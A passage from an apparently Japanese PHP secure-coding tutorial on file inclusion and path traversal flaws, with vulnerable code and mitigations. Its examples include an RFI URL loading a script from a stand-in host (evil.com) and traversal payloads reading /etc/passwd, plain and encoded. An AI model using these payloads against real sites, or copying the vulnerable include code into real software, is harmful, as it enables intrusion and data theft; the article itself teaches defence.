\u30c8\u30fc\u30af\u30f3\u671f\u9650\u5207\u308c\n}\n<\/pre>\n\n\n\n<p>CSRF\u5bfe\u7b56\u306f\u3001\u7279\u306b\u30e6\u30fc\u30b6\u30fc\u306e\u72b6\u614b\u3092\u5909\u66f4\u3059\u308b\u64cd\u4f5c\uff08POST\u3001PUT\u3001DELETE\u30ea\u30af\u30a8\u30b9\u30c8\u306a\u3069\uff09\u306b\u5fc5\u9808\u306e\u9632\u5fa1\u7b56\u3067\u3059\u3002API\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3082\u542b\u3081\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3059\u3079\u3066\u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306bCSRF\u5bfe\u7b56\u3092\u5b9f\u88c5\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-45\">\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027 \u2013 \u4e0d\u6b63\u306a\u30d5\u30a1\u30a4\u30eb\u8aad\u307f\u8fbc\u307f\u3092\u9632\u3050<\/h3>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u306f\u3001PHP\u306e<code>include<\/code>\u3001<code>require<\/code>\u3001<code>include_once<\/code>\u3001<code>require_once<\/code>\u95a2\u6570\u306a\u3069\u3092\u4f7f\u7528\u3059\u308b\u969b\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u5165\u529b\u5024\u3092\u9069\u5207\u306b\u691c\u8a3c\u305b\u305a\u306b\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3068\u3057\u3066\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u767a\u751f\u3057\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u653b\u6483\u8005\u306b\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3084\u3001\u6700\u60aa\u306e\u5834\u5408\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u8a31\u3057\u3066\u3057\u307e\u3046\u6df1\u523b\u306a\u8105\u5a01\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-46\">\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u306e\u7a2e\u985e<\/h4>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u306f\u4e3b\u306b2\u3064\u306e\u30bf\u30a4\u30d7\u306b\u5206\u3051\u3089\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9 (RFI)<\/strong> \u5916\u90e8\u30b5\u30fc\u30d0\u30fc\u306b\u914d\u7f6e\u3057\u305f\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u3093\u3067\u5b9f\u884c\u3055\u305b\u308b\u653b\u6483\u3067\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30ed\u30fc\u30ab\u30eb\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9 (LFI)<\/strong> \u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u5185\u306b\u3042\u308b\u3001\u672c\u6765\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u306f\u305a\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u307e\u305b\u308b\u653b\u6483\u3067\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-47\">\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u4f8b\u3068\u653b\u6483\u30b7\u30ca\u30ea\u30aa<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u3092\u542b\u3093\u3067\u3044\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\u4f8b\n$page = $_GET['page'];\ninclude($page . '.php');\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-48\">\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9 (RFI) \u306e\u4f8b<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">https:\/\/example.com\/index.php?page=http:\/\/evil.com\/malicious_script\n<\/pre>\n\n\n\n<p>\u3053\u306e\u5834\u5408\u3001<code>allow_url_include<\/code>\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u3068\u3001\u5916\u90e8\u30b5\u30fc\u30d0\u30fc\u306e\u60aa\u610f\u306e\u3042\u308bPHP\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-49\">\u30ed\u30fc\u30ab\u30eb\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9 (LFI) \u306e\u4f8b<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">https:\/\/example.com\/index.php?page=..\/..\/..\/etc\/passwd%00\n<\/pre>\n\n\n\n<p>\u3053\u306e\u653b\u6483\u306f\u3001\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff08\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff09\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u884c\u308f\u308c\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u91cd\u8981\u30d5\u30a1\u30a4\u30eb\uff08Linux\u74b0\u5883\u3067\u306f<code>\/etc\/passwd<\/code>\u306a\u3069\uff09\u3092\u8aad\u307f\u53d6\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002PHP 5.3.4\u4ee5\u524d\u3067\u306fNULL\u30d0\u30a4\u30c8\uff08<code>%00<\/code>\uff09\u3092\u4f7f\u3063\u3066\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u672b\u5c3e\u306b\u8ffd\u52a0\u3055\u308c\u308b<code>.php<\/code>\u3092\u7121\u52b9\u5316\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-50\">\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u3078\u306e\u5bfe\u7b56<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-51\">1. \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306b\u76f4\u63a5\u4f7f\u7528\u3057\u306a\u3044<\/h5>\n\n\n\n<p>\u6700\u3082\u78ba\u5b9f\u306a\u5bfe\u7b56\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u3092\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306e\u69cb\u7bc9\u306b\u4f7f\u7528\u3057\u306a\u3044\u3053\u3068\u3067\u3059\u3002\u4ee3\u308f\u308a\u306b\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30de\u30c3\u30d4\u30f3\u30b0\u65b9\u5f0f\u3092\u4f7f\u7528\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5b89\u5168\u306a\u30b3\u30fc\u30c9\u4f8b - \u30de\u30c3\u30d4\u30f3\u30b0\u65b9\u5f0f\n$page_mapping = [\n    'home' =&gt; 'home.php',\n    'about' =&gt; 'about.php',\n    'contact' =&gt; 'contact.php'\n];\n\n$requested_page = $_GET['page'] ?? 'home';\n\nif (isset($page_mapping[$requested_page])) {\n    include $page_mapping[$requested_page];\n} else {\n    include $page_mapping['home']; \/\/ \u30c7\u30d5\u30a9\u30eb\u30c8\u30da\u30fc\u30b8\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-52\">2. \u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u691c\u8a3c<\/h5>\n\n\n\n<p>\u8a31\u53ef\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30ea\u30b9\u30c8\u306b\u5bfe\u3057\u3066\u691c\u8a3c\u3092\u884c\u3044\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u691c\u8a3c\n$allowed_pages = ['home', 'about', 'contact'];\n$requested_page = $_GET['page'] ?? 'home';\n\nif (in_array($requested_page, $allowed_pages)) {\n    include $requested_page . '.php';\n} else {\n    include 'home.php'; \/\/ \u30c7\u30d5\u30a9\u30eb\u30c8\u30da\u30fc\u30b8\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-53\">3. \u30d1\u30b9\u6b63\u898f\u5316\u3068\u691c\u8a3c<\/h5>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u6b63\u898f\u5316\u3057\u3066\u691c\u8a3c\u3059\u308b\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30d1\u30b9\u6b63\u898f\u5316\u3068\u691c\u8a3c\n$requested_page = $_GET['page'] ?? 'home';\n$page_file = $requested_page . '.php';\n\n\/\/ realpath()\u3067\u30d1\u30b9\u3092\u6b63\u898f\u5316\u3057\u3001\u610f\u56f3\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u306b\u3042\u308b\u304b\u78ba\u8a8d\n$base_dir = realpath(__DIR__ . '\/pages\/');\n$requested_path = realpath($base_dir . '\/' . $page_file);\n\n\/\/ \u6307\u5b9a\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u9632\u6b62\nif ($requested_path &amp;&amp; strpos($requested_path, $base_dir) === 0 &amp;&amp; file_exists($requested_path)) {\n    include $requested_path;\n} else {\n    include $base_dir . '\/home.php'; \/\/ \u30c7\u30d5\u30a9\u30eb\u30c8\u30da\u30fc\u30b8\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-54\">4. PHP\u8a2d\u5b9a\u3067\u306e\u5bfe\u7b56<\/h5>\n\n\n\n<p><code>php.ini<\/code>\u3067\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u95a2\u9023\u306e\u8a2d\u5b9a\u3092\u5b89\u5168\u306b\u69cb\u6210\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u3092\u7121\u52b9\u5316\nallow_url_include = Off\n\n; \u53ef\u80fd\u3067\u3042\u308c\u3070\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u30aa\u30fc\u30d7\u30f3\u3082\u7121\u52b9\u5316\nallow_url_fopen = Off\n\n; PHP\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u5236\u9650\nopen_basedir = \/path\/to\/web\/files\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-55\">5. basename()\u95a2\u6570\u306e\u4f7f\u7528<\/h5>\n\n\n\n<p>\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u3092\u9632\u3050\u305f\u3081\u306b<code>basename()<\/code>\u95a2\u6570\u3092\u4f7f\u7528\u3059\u308b\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ basename()\u3067\u30d1\u30b9\u90e8\u5206\u3092\u9664\u53bb\n$requested_page = basename($_GET['page'] ?? 'home');\ninclude 'pages\/' . $requested_page . '.php';\n<\/pre>\n\n\n\n<p>\u305f\u3060\u3057\u3001<code>basename()<\/code>\u3060\u3051\u3067\u306f\u5b8c\u5168\u306a\u5bfe\u7b56\u306b\u306f\u306a\u3089\u306a\u3044\u305f\u3081\u3001\u4ed6\u306e\u65b9\u6cd5\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-56\">\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6a5f\u80fd\u30d9\u30fc\u30b9\u306e\u30a2\u30d7\u30ed\u30fc\u30c1<\/strong>: \u30d5\u30a1\u30a4\u30eb\u540d\u3092\u76f4\u63a5\u6307\u5b9a\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u6a5f\u80fd\u3084\u753b\u9762ID\u3092\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u3057\u3066\u53d7\u3051\u53d6\u308a\u3001\u305d\u308c\u3092\u30de\u30c3\u30d4\u30f3\u30b0\u3059\u308b\u8a2d\u8a08\u306b\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u5206\u96e2<\/strong>: \u5b9f\u884c\u53ef\u80fd\u306aPHP\u30d5\u30a1\u30a4\u30eb\u3068\u3001\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u3084\u30c7\u30fc\u30bf\u30d5\u30a1\u30a4\u30eb\u3092\u5206\u96e2\u3059\u308b<\/li>\n\n\n\n<li><strong>\u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247<\/strong>: PHP\u306e\u5b9f\u884c\u30e6\u30fc\u30b6\u30fc\u306b\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u6a29\u9650\u306e\u307f\u3092\u4e0e\u3048\u308b<\/li>\n\n\n\n<li><strong>\u591a\u5c64\u9632\u5fa1<\/strong>: \u8907\u6570\u306e\u691c\u8a3c\u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u3001\u5358\u4e00\u306e\u5bfe\u7b56\u304c\u7834\u3089\u308c\u3066\u3082\u5b89\u5168\u6027\u3092\u4fdd\u3064<\/li>\n<\/ol>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u306f\u3001\u9069\u5207\u306a\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u691c\u8a3c\u3068\u5b89\u5168\u306a\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306b\u3088\u3063\u3066\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u7279\u306bCMS\u3084\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u81ea\u4f5c\u3059\u308b\u5834\u5408\u306f\u3001\u3053\u308c\u3089\u306e\u5bfe\u7b56\u3092\u5341\u5206\u306b\u8003\u616e\u3057\u305f\u30b3\u30fc\u30c9\u3092\u66f8\u304f\u3088\u3046\u306b\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-57\">\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb \u2013 \u4e0d\u6b63\u306a\u30d5\u30a1\u30a4\u30eb\u30a2\u30af\u30bb\u30b9\u3092\u9632\u3050\u6280\u8853<\/h3>\n\n\n\n<p>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff08\u307e\u305f\u306f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\uff09\u306f\u3001\u653b\u6483\u8005\u304c\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5236\u7d04\u3092\u56de\u907f\u3057\u3066\u3001\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u610f\u56f3\u3055\u308c\u3066\u3044\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u3084\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u653b\u6483\u624b\u6cd5\u3067\u3059\u3002\u7279\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306b\u57fa\u3065\u3044\u3066\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308bPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u767a\u751f\u3057\u3084\u3059\u3044\u8106\u5f31\u6027\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-58\">\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u306e\u4ed5\u7d44\u307f<\/h4>\n\n\n\n<p>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u306f\u3001\u4e3b\u306b\u76f8\u5bfe\u30d1\u30b9\u8868\u8a18\uff08<code>..\/<\/code>\uff09\u3092\u4f7f\u7528\u3057\u3066\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u60f3\u5b9a\u5916\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u79fb\u52d5\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u306f\u8106\u5f31\u6027\u3092\u542b\u3093\u3067\u3044\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\u4f8b\n$file = $_GET['filename'];\ninclude(\"includes\/\" . $file);\n<\/pre>\n\n\n\n<p>\u3053\u306e\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306aURL\u3092\u4f7f\u7528\u3057\u3066\u653b\u6483\u3092\u8a66\u307f\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">https:\/\/example.com\/page.php?filename=..\/..\/..\/etc\/passwd\n<\/pre>\n\n\n\n<p>\u3053\u308c\u306b\u3088\u308a\u3001Linux\u30b7\u30b9\u30c6\u30e0\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u30d5\u30a1\u30a4\u30eb\u304c\u8868\u793a\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u307e\u305f\u3001URL\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306a\u3069\u306e\u624b\u6cd5\u3092\u4f7f\u3063\u3066\u691c\u51fa\u3092\u56de\u907f\u3059\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">https:\/\/example.com\/page.php?filename=..%2F..%2F..%2Fetc%2Fpasswd\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-59\">\u5b9f\u969b\u306e\u653b\u6483\u30b7\u30ca\u30ea\u30aa<\/h4>\n\n\n\n<p>\u5178\u578b\u7684\u306a\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u306e\u30b7\u30ca\u30ea\u30aa\u306b\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u3082\u306e\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u306e\u95b2\u89a7<\/strong>\uff1a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u60c5\u5831\u306a\u3069\u306e\u6a5f\u5bc6\u60c5\u5831\u3092\u542b\u3080\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9<\/li>\n\n\n\n<li><strong>\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306e\u6f0f\u6d29<\/strong>\uff1a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306ePHP\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u76f4\u63a5\u8868\u793a\u3055\u305b\u308b<\/li>\n\n\n\n<li><strong>\u30ed\u30b0\u30d5\u30a1\u30a4\u30eb\u306e\u89e3\u6790<\/strong>\uff1a\u30a2\u30af\u30bb\u30b9\u30ed\u30b0\u3084\u8a8d\u8a3c\u30ed\u30b0\u3092\u89e3\u6790\u3057\u3066\u60c5\u5831\u53ce\u96c6<\/li>\n\n\n\n<li><strong>\u30b7\u30b9\u30c6\u30e0\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9<\/strong>\uff1a<code>\/etc\/passwd<\/code>\u306a\u3069\u306e\u30b7\u30b9\u30c6\u30e0\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-60\">\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u5bfe\u7b56\u306e\u5b9f\u88c5\u65b9\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-61\">1. \u30d1\u30b9\u306e\u6b63\u898f\u5316\u3068\u691c\u8a3c<\/h5>\n\n\n\n<p>\u6700\u3082\u52b9\u679c\u7684\u306a\u5bfe\u7b56\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u6b63\u898f\u5316\u3057\u3001\u610f\u56f3\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u306b\u3042\u308b\u304b\u3092\u691c\u8a3c\u3059\u308b\u3053\u3068\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30d1\u30b9\u306e\u6b63\u898f\u5316\u3068\u691c\u8a3c\nfunction safeIncludeFile($userFilename) {\n    \/\/ \u30d9\u30fc\u30b9\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u7d76\u5bfe\u30d1\u30b9\u3092\u53d6\u5f97\n    $baseDir = realpath(__DIR__ . '\/includes\/');\n    \n    \/\/ \u30e6\u30fc\u30b6\u30fc\u6307\u5b9a\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u7d50\u5408\u3057\u3001\u6b63\u898f\u5316\n    $requestedPath = realpath($baseDir . '\/' . $userFilename);\n    \n    \/\/ \u30d1\u30b9\u304c\u5b58\u5728\u3057\u3001\u30d9\u30fc\u30b9\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u306b\u53ce\u307e\u3063\u3066\u3044\u308b\u304b\u78ba\u8a8d\n    if ($requestedPath &amp;&amp; strpos($requestedPath, $baseDir) === 0 &amp;&amp; file_exists($requestedPath)) {\n        return $requestedPath;\n    }\n    \n    return false; \/\/ \u5b89\u5168\u3067\u306a\u3044\u30d1\u30b9\u3084\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728\u3057\u306a\u3044\u5834\u5408\n}\n\n\/\/ \u4f7f\u7528\u4f8b\n$userFile = $_GET['filename'] ?? 'default.php';\n$safePath = safeIncludeFile($userFile);\n\nif ($safePath) {\n    include($safePath);\n} else {\n    die(\"\u6307\u5b9a\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u8aad\u307f\u8fbc\u3081\u307e\u305b\u3093\");\n}\n<\/pre>\n\n\n\n<p>\u3053\u306e\u65b9\u6cd5\u306e\u5229\u70b9\u306f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>realpath()<\/code>\u95a2\u6570\u304c\u76f8\u5bfe\u30d1\u30b9\u8868\u8a18\uff08<code>..\/<\/code>\uff09\u3092\u89e3\u6c7a\u3057\u3066\u7d76\u5bfe\u30d1\u30b9\u3092\u8fd4\u3059<\/li>\n\n\n\n<li>\u89e3\u6c7a\u3055\u308c\u305f\u30d1\u30b9\u304c\u610f\u56f3\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u306b\u3042\u308b\u304b\u691c\u8a3c\u3059\u308b<\/li>\n\n\n\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u5b58\u5728\u78ba\u8a8d\u3092\u884c\u3046<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-62\">2. \u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u691c\u8a3c<\/h5>\n\n\n\n<p>\u7279\u5b9a\u306e\u72b6\u6cc1\u3067\u306f\u3001\u8a31\u53ef\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30ea\u30b9\u30c8\u3092\u4f7f\u7528\u3059\u308b\u65b9\u6cd5\u304c\u52b9\u679c\u7684\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ 